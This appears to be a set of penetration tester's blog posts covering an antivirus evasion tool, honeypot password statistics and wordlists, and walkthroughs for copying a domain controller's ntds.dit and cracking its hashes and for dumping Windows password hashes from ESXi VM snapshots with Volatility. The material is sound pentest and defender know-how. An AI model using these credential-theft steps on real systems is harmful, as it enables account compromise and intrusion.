Slides Owasp Meeting Cologne AVET

Yesterday I had a presentation about the AVET AntiVirus Evasion Tool at the OWASP meeting Cologne. The main part was demonstration, but nevertheless: here are the slides.

 

Advertisements

Using TDM gcc with Kali 2

This is an article for usage with avet, my antivirus evasion tool you can find here:

https://github.com/govolution/avet

I had some trouble using mingw cross compiler. It should work fine, so I suggest you try that first.

But if you want an alternative, here is how to use tdm for windows with wine in kali (2016.2).

First, download from:

https://sourceforge.net/projects/tdm-gcc/

Then install with wine:

# wine tdm64-gcc-5.1.0-2.exe

Then simply go through the gui installation:

After successful installation you can compile stuff for windows with:

wine gcc.exe mycode.c

Extract text and media content from docx

Here is a small bash script for extracting the text and media content from a docx file. Might be useful if you do not want to open the file with word. Works with cygwin, should work with linux.
Github: https://github.com/govolution/stuff/blob/master/xtractdocx.sh

xtractdocx

Usage is pretty straight forward:

$ bash xtractdocx.sh test.docx
* extracting media files to ./test.docx1484702626/media
Archive: test.docx
extracting: ./test.docx1484702626/word/media/image1.png
* ls ./test.docx1484702626/media
image1.png
* extracting xml content
Archive: test.docx
inflating: ./test.docx1484702626/word/document.xml
* write xml to txt content to ./test.docx1484702626/document.txt
* cleanup
* done
$ cat ./test.docx1484702626/document.txt

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Aenean rhoncus massa non elitrum dignissim. Nam libero purus, ultrices eu purus et, tempor tincidunt augue. [ … CUT … ]

The first 15 days of a password honeypot

A couple of days ago I started running a password honeypot based on heralding. Here is some first analysis and wordlists.
Time frame of this analysis
From:
$ head heralding_activity.log -n 2 | cut -d “,” -f1
timestamp
2016-10-07 19:33:32.291966
To:
$ tail heralding_activity.log -n 1 | cut -d “,” -f1
2016-10-22 16:51:06.616767
Password attacks
Total:
$ cat heralding_activity.log | cut -d “,” -f9 | sort | wc -l
406581
Total unique:
$ cat heralding_activity.log | cut -d “,” -f9 | sort -u | wc -l
41309
Most hits from one ip
$ cat heralding_activity.log | cut -d”,” -f4 |awk ‘{print $1}’ | sort |uniq -c |sort -n |tail
    365 118.68.52.154
    404 185.56.82.83
    467 98.167.86.131
    496 125.212.225.107
    523 125.212.248.85
    581 222.124.18.147
    698 46.172.91.20
    771 116.228.12.138
  90983 221.229.172.117
 154845 180.97.244.253
Top users
$ cat heralding_activity.log | cut -d”,” -f8 |awk ‘{print $1}’ | sort |uniq -c |sort -n |tail
    438 supervisor
    452 service
    457 ubnt
   1284 user
   1353 guest
   2098 support
  12731 admin
  40297 shell
  53335 enable
 286812 root
delete shell and enable, due to mirai:
    438 supervisor
    452 service
    457 ubnt
   1284 user
   1353 guest
   2098 support
  12731 admin
 286812 root
Top passwords
$ cat heralding_activity.log | cut -d”,” -f9 |awk ‘{print $1}’ | sort |uniq -c |sort -n |tail -n 15
   1963 xmhdipc
   2030 support
   2033 1111
   2034 default
   2394 54321
   2753 888888
   2767
   2769 123456
   2989 password
   3019 12345
   3507 vizxv
   3877 xc3511
   6117 admin
  40201 sh
  53764 system
Delete system and sh due to mirai:
   1963 xmhdipc
   2030 support
   2033 1111
   2034 default
   2394 54321
   2753 888888
   2767
   2769 123456
   2989 password
   3019 12345
   3507 vizxv
   3877 xc3511
   6117 admin
As can be seen the top accounts and passwords are default credentials used by mirai.
Because of that here are the top passwords for ssh only:
$ cat heralding_activity.log | grep ssh | cut -d”,” -f9 |awk ‘{print $1}’ | sort |uniq -c |sort -n |tail -n 15
     81 123456789
     82 support
     91 “8ik
     98 test
    109 12345
    111 1234
    112 raspberry
    123 123qwe
    126 qwe123
    128 ubnt
    132 “
    136 password
    138 root
    147 admin
    421 123456
Time to mirai infection
start of the honeypot:
$ head -n 1 heralding.log | cut -d ” ” -f1,2
2016-10-07 19:27:35,447
$ head heralding_activity.log -n 10 | grep telnet | cut -d “,” -f1,8,9
2016-10-07 19:33:32.291966,root,12345
2016-10-07 19:33:33.636283,enable,system
2016-10-07 19:33:34.988987,shell,sh
2016-10-07 19:33:36.876664,root,admin
2016-10-07 19:33:38.301110,enable,system
2016-10-07 19:33:39.719285,shell,sh
2016-10-07 19:33:41.544074,root,xmhdipc
2016-10-07 19:33:42.898664,enable,system
2016-10-07 19:33:44.245631,shell,sh
Conclusion:
six minutes from 1st mirai attack
Closer look to two bruteforcing attempts
771 116.228.12.138
771 attempts for SNMP:
$ cat heralding_activity.log | grep 116.228.12.138 | cut -d “,” -f 1,7,8,9 | head -n 5
2016-10-19 01:21:50.393370,smtp,account,account
2016-10-19 01:21:50.504453,smtp,account,accountaccount
2016-10-19 01:21:51.943364,smtp,account,account1
2016-10-19 01:21:52.099676,smtp,account,account12
2016-10-19 01:21:52.641753,smtp,account,account123
$ cat heralding_activity.log | grep 116.228.12.138 | cut -d “,” -f 1,7,8,9 | tail -n 5
2016-10-19 01:33:20.499069,smtp,webmaster,Passw0rd
2016-10-19 01:33:20.701765,smtp,webmaster,Password1
2016-10-19 01:33:20.889161,smtp,webmaster,Password123
2016-10-19 01:33:21.471823,smtp,webmaster,password
2016-10-19 01:33:21.637730,smtp,webmaster,password1
Nothing special, but usage of different user accounts.
90983 221.229.172.117
$ cat heralding_activity.log | grep 221.229.172.117 | cut -d “,” -f 1,7,8,9 | head -n 5
2016-10-10 11:27:05.514881,ssh,root,!@
2016-10-10 11:27:05.836226,ssh,root,!@
2016-10-10 11:27:06.157371,ssh,root,password
2016-10-10 11:27:22.077912,ssh,root,cisco
2016-10-10 11:27:22.364435,ssh,root,stm
$ cat heralding_activity.log | grep 221.229.172.117 | cut -d “,” -f 1,7,8,9 | tail -n 5
2016-10-19 05:07:10.324697,ssh,root,a0.418.0a
2016-10-19 05:07:10.566465,ssh,root,a d m i n
2016-10-19 05:07:11.256323,ssh,root,@WSXCVFR$
2016-10-19 05:07:20.925478,ssh,root,@root1234
The hole attack took nearly 9 days and was for ssh accounts.
Download password lists
I made password lists:
allpasswords.txt -> containing all passwords sorted and unique
smtpcredentials.txt -> all snmp credentials is user:password format, sorted and unique

NTDS Cracking with Kali

During a pentest it might be possible to gain access to the DC of a windows network. The ntds.dit file is interesting, because all kind of information of the AD is stored here, as for example the user hashes.
When looking for a howto crack NTDS databases I found:
Not everything worked for me, so here are my steps:
Copy the files from the DC
I use Invoke-NinjaCopy from powersploit (https://github.com/PowerShellMafia/PowerSploit).
. .\Invoke-NinjaCopy
Invoke-NinjaCopy -path “c:\your\path\ntds\ntds.dit” -localdestination “c:\temp\ntds.dit”
Invoke-NinjaCopy -path “c:\windows\system32\config\SYSTEM” -localdestination “c:\temp\SYSTEM”
-> copy files to Kali Workstation
Installation on Kali
20120102.tar.gz/198a30c98ca1b3cb46d10a12bef8deaf/libesedb-alpha-20120102.tar.gz
tar -zxf libesedb-alpha-20120102.tar.gz
cd libesedb-20120102/
./configure && make && sudo make install
unzip ntdsxtract_v1_0.zip
Extract Hashes
/root/Downloads/ntds/libesedb-20120102/esedbtools/esedbexport ntds.dit
python /root/Downloads/ntds/NTDSXtract\ 1.0/dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.7
./hashdumpwork –passwordhashes SYSTEM –lmoutfile ./lm-out.txt –ntoutfile ./nt-out.txt –pwdformat ophc > dsusers.results
grep -A 2 “Password hashes:” dsusers.results |grep -v “Password hashes” |grep -v ‘Record ID’|grep -v “\-\-” |sort|uniq > allHashes
grep ‘\$NT\$’ allHashes | sed ‘s/.\(.*\)/\1/’ > NTHashes
grep -v ‘\$NT\$’ allHashes | sed ‘s/.\(.*\)/\1/’ > LMHashes
Cracking
# john –fork=8 NTHashes
… or whatever.
More about these topics:

Memdumps, Volatility, Mimikatz, VMs – Part 9: Logging & Monitoring ESXi

So why might this be relevant anyway? All management consoles should be in your separated management network anyway, right? Well, unfortunately that is not always the case:

shodandce1afd8621c8cf131afca4d7451dca5

As you can see about 85.000 ports from the VMware Authentication Deamon are open over the internet.
And you can even bruteforce accounts:
Further, during an onsite test you might find some esxi machines and credentials for management consoles. Also vulnerabilites might exist where it is possible to pwn the vm hypervisor via a virtual machine.
So what is to do for the blue team?
Here are some ideas:
– log network connections to the esxi servers
– log logins
– log changes to vms
– log creation of snapshots
– log reboots and uploads
… and when I say log I mean mainly, collect em. In the links section is an example for Elk and for Splunk.
Relevant log file entries in the vmware.log file for snapshots
The log for can be found in the datastore:
dslog4a7ef9d247c31587dd7399cf5a89bf55
And here is some output from the relevant logfiles after making a snapshot with VMWare Wokstation connected to the ESXi server:
log10c71e5f655bcec62fbf007ac4076d03c
And when doing a snapshot over ssh:
log27879476bcacfd758b78ccee433346b15

Memdumps, Volatility, Mimikatz, VMs – Part 8: ESXi Attacking Scenario – Volatility on ESXi

How cool is that: volatility standalone is running on esxi…
This scenario is only if you have access to the ESXi server via ssh.
Connecting to downloads.volatilityfoundation.org (173.61.222.9:80)
volatility_2.5.linux 100% |*******************************| 32039k  0:00:00 ETA
[root@localhost:/tmp] unzip volatility_2.5.linux.standalone.zip
Archive:  volatility_2.5.linux.standalone.zip
   creating: volatility_2.5.linux.standalone/
  inflating: volatility_2.5.linux.standalone/AUTHORS.txt
  inflating: volatility_2.5.linux.standalone/CREDITS.txt
  inflating: volatility_2.5.linux.standalone/LEGAL.txt
  inflating: volatility_2.5.linux.standalone/LICENSE.txt
  inflating: volatility_2.5.linux.standalone/README.txt
  inflating: volatility_2.5.linux.standalone/volatility_2.5_linux_x64
  inflating: volatility_2.5.linux.standalone/volatility_2.5_linux_x86
Find the .vmem files:
[root@localhost:~] find -name *.vmem
./vmfs/volumes/56ac1339-5203be7f-4c07-000c29b25698/winxpsp3/winxpsp3-Snapshot3.vmem
./vmfs/volumes/56ac1339-5203be7f-4c07-000c29b25698/winxpsp3/winxpsp3-Snapshot2.vmem
./vmfs/volumes/56ac1339-5203be7f-4c07-000c29b25698/Windows 7 x64/Windows 7 x64-Snapshot1.vmem
To the usual stuff:
[root@localhost:/vmfs/volumes/56ac1339-5203be7f-4c07-000c29b25698/Windows 7 x64] /tmp/volatility_2.5.linux.standalone/volatility_2.5_linux_x64 -f “./Windows 7 x64-Snapshot1.vmem” imageinfo
Volatility Foundation Volatility Framework 2.5
INFO    : volatility.debug    : Determining profile based on KDBG search…
[root@localhost:/vmfs/volumes/56ac1339-5203be7f-4c07-000c29b25698/Windows 7 x64]           Suggested Profile(s) : Win7SP0x64, Win7SP1x64, Win2008R2SP0x64, Win2008R2SP1x64
                     AS Layer1 : AMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/vmfs/volumes/56ac1339-5203be7f-4c07-000c29b25698/Windows 7 x64/Windows 7 x64-Snapshot1.vmem)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf800029fd0a0L
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff800029fed00L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2016-01-30 08:36:01 UTC+0000
     Image local date and time : 2016-01-30 09:36:01 +0100
[root@localhost:/vmfs/volumes/56ac1339-5203be7f-4c07-000c29b25698/Windows 7 x64] /tmp/volatility_2.5.linux.standalone/volatility_2.5_linux_x64 -f “./Windows 7 x64-Snapshot1.vmem” –profile=”Win7SP1x64″ hivelist
Volatility Foundation Volatility Framework 2.5
Virtual            Physical           Name
—————— —————— —-
0xfffff8a000f21010 0x000000000e407010 \SystemRoot\System32\Config\SAM
0xfffff8a000f241f0 0x000000001503b1f0 \SystemRoot\System32\Config\SECURITY
0xfffff8a000fcf010 0x0000000013dd3010 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
0xfffff8a0010211b0 0x0000000013c0c1b0 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0xfffff8a00193f010 0x0000000007284010 \??\C:\Users\dax\ntuser.dat
0xfffff8a001994010 0x000000002a835010 \??\C:\Users\dax\AppData\Local\Microsoft\Windows\UsrClass.dat
0xfffff8a003226010 0x0000000015fe6010 \SystemRoot\System32\Config\DEFAULT
0xfffff8a00000f010 0x0000000027147010 [no name]
0xfffff8a000024010 0x00000000270d2010 \REGISTRY\MACHINE\SYSTEM
0xfffff8a000053010 0x0000000027001010 \REGISTRY\MACHINE\HARDWARE
0xfffff8a000c38010 0x0000000001afb010 \Device\HarddiskVolume1\Boot\BCD
0xfffff8a000d3f010 0x0000000022d0e010 \SystemRoot\System32\Config\SOFTWARE
[root@localhost:/vmfs/volumes/56ac1339-5203be7f-4c07-000c29b25698/Windows 7 x64] /tmp/volatility_2.5.linux.standalone/volatility_2.5_linux_x64 hashdump -f “./Windows 7
x64-Snapshot1.vmem” –profile=”Win7SP1x64″ -y 0xfffff8a000024010 -s 0xfffff8a000f21010
Volatility Foundation Volatility Framework 2.5
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Gast:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
dax:1000:aad3b435b51404eeaad3b435b51404ee:c5a237b7e9d8e708d8436b6148a25fa1:::
Create a snapshot
Yes, of course it is possible to create a snapshot on the cli.
[root@localhost:~] vim-cmd vmsvc/snapshot.create 5 “snap” “some comment” 1 0
And again:
[root@localhost:~] find -name *.vmem
./vmfs/volumes/56ac1339-5203be7f-4c07-000c29b25698/Windows 7 x64/Windows 7 x64-Snapshot5.vmem
[root@localhost:/tmp/volatility_2.5.linux.standalone] ./volatility_2.5_linux_x64 -f “/vmfs/volumes/56ac1339-5203be7f-4c07-000c29b25698/Windows 7 x64/Windows 7 x64-Snapshot5.vmem” imageinfo
Volatility Foundation Volatility Framework 2.5
INFO    : volatility.debug    : Determining profile based on KDBG search…
          Suggested Profile(s) : Win2008R2SP0x64, Win7SP1x64, Win7SP0x64, Win2008R2SP1x64
                     AS Layer1 : AMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/vmfs/volumes/56ac1339-5203be7f-4c07-000c29b25698/Windows 7 x64/Windows 7 x64-Snapshot5.vmem)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf80002a4b0a0L
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff80002a4cd00L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2016-01-31 14:55:50 UTC+0000
     Image local date and time : 2016-01-31 15:55:50 +0100
and so on.
Links: